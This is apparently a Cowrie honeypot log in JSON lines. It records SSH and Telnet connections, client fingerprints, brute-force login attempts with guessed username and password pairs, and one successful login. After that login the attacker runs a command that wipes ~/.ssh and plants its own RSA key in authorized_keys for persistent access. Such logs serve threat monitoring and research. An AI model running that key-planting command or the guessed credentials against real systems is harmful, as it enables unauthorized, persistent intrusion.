{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":30352,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f91f40ccee7","protocol":"telnet","message":"New connection: 176.29.26.223:30352 (159.203.135.109:23) [session: 8f91f40ccee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:34.592867Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56362,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed91fc23170","protocol":"ssh","message":"New connection: 159.203.92.129:56362 (159.203.135.109:22) [session: 4ed91fc23170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:35.705444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:35.710306Z","src_ip":"159.203.92.129","session":"4ed91fc23170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:35.715264Z","src_ip":"159.203.92.129","session":"4ed91fc23170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3edc#EDC","message":"login attempt [admin/3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:35.728829Z","src_ip":"159.203.92.129","session":"4ed91fc23170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:36.735117Z","src_ip":"159.203.92.129","session":"4ed91fc23170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":31970,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5bdd19c69d5","protocol":"telnet","message":"New connection: 176.29.26.223:31970 (159.203.135.109:23) [session: e5bdd19c69d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:38.043781Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":59510,"dst_ip":"10.17.0.5","dst_port":22,"session":"a75c60202b77","protocol":"ssh","message":"New connection: 176.53.96.10:59510 (10.17.0.5:22) [session: a75c60202b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:11.584936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:11.589820Z","src_ip":"176.53.96.10","session":"a75c60202b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:11.716859Z","src_ip":"176.53.96.10","session":"a75c60202b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"Welcome@123","message":"login attempt [test1/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:12.267412Z","src_ip":"176.53.96.10","session":"a75c60202b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:13.395205Z","src_ip":"176.53.96.10","session":"a75c60202b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53950,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb2ef77c7ae1","protocol":"ssh","message":"New connection: 159.203.92.129:53950 (159.203.135.109:22) [session: fb2ef77c7ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:18.960618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:18.965383Z","src_ip":"159.203.92.129","session":"fb2ef77c7ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:18.970260Z","src_ip":"159.203.92.129","session":"fb2ef77c7ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3edc4RFV","message":"login attempt [admin/3edc4RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:18.983966Z","src_ip":"159.203.92.129","session":"fb2ef77c7ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:39:19.992623Z","src_ip":"159.203.92.129","session":"fb2ef77c7ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45538,"dst_ip":"159.203.135.109","dst_port":22,"session":"191caa78c6e5","protocol":"ssh","message":"New connection: 159.203.92.129:45538 (159.203.135.109:22) [session: 191caa78c6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:00.379015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:00.385463Z","src_ip":"159.203.92.129","session":"191caa78c6e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:00.408472Z","src_ip":"159.203.92.129","session":"191caa78c6e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"456123","message":"login attempt [admin/456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:00.447246Z","src_ip":"159.203.92.129","session":"191caa78c6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:01.573586Z","src_ip":"159.203.92.129","session":"191caa78c6e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":60268,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a32ada4a999","protocol":"ssh","message":"New connection: 176.53.96.10:60268 (10.17.0.5:22) [session: 7a32ada4a999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:09.468312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:09.474576Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:09.599915Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"webadmin","message":"login attempt [admin/webadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:10.126774Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:10.446160Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:10.450981Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:10.456303Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:10.584697Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:10.890363Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:10.894790Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:11.029571Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:11.036668Z","src_ip":"176.53.96.10","session":"7a32ada4a999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":49610,"dst_ip":"10.17.0.5","dst_port":22,"session":"23205ab7f358","protocol":"ssh","message":"New connection: 176.53.96.10:49610 (10.17.0.5:22) [session: 23205ab7f358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:11.145883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:11.152683Z","src_ip":"176.53.96.10","session":"23205ab7f358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:11.275015Z","src_ip":"176.53.96.10","session":"23205ab7f358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:11.790273Z","src_ip":"176.53.96.10","session":"23205ab7f358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:12.915241Z","src_ip":"176.53.96.10","session":"23205ab7f358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":49618,"dst_ip":"10.17.0.5","dst_port":22,"session":"e26ebc829ddf","protocol":"ssh","message":"New connection: 176.53.96.10:49618 (10.17.0.5:22) [session: e26ebc829ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:13.032520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:13.043792Z","src_ip":"176.53.96.10","session":"e26ebc829ddf","protocol":"ssh"}
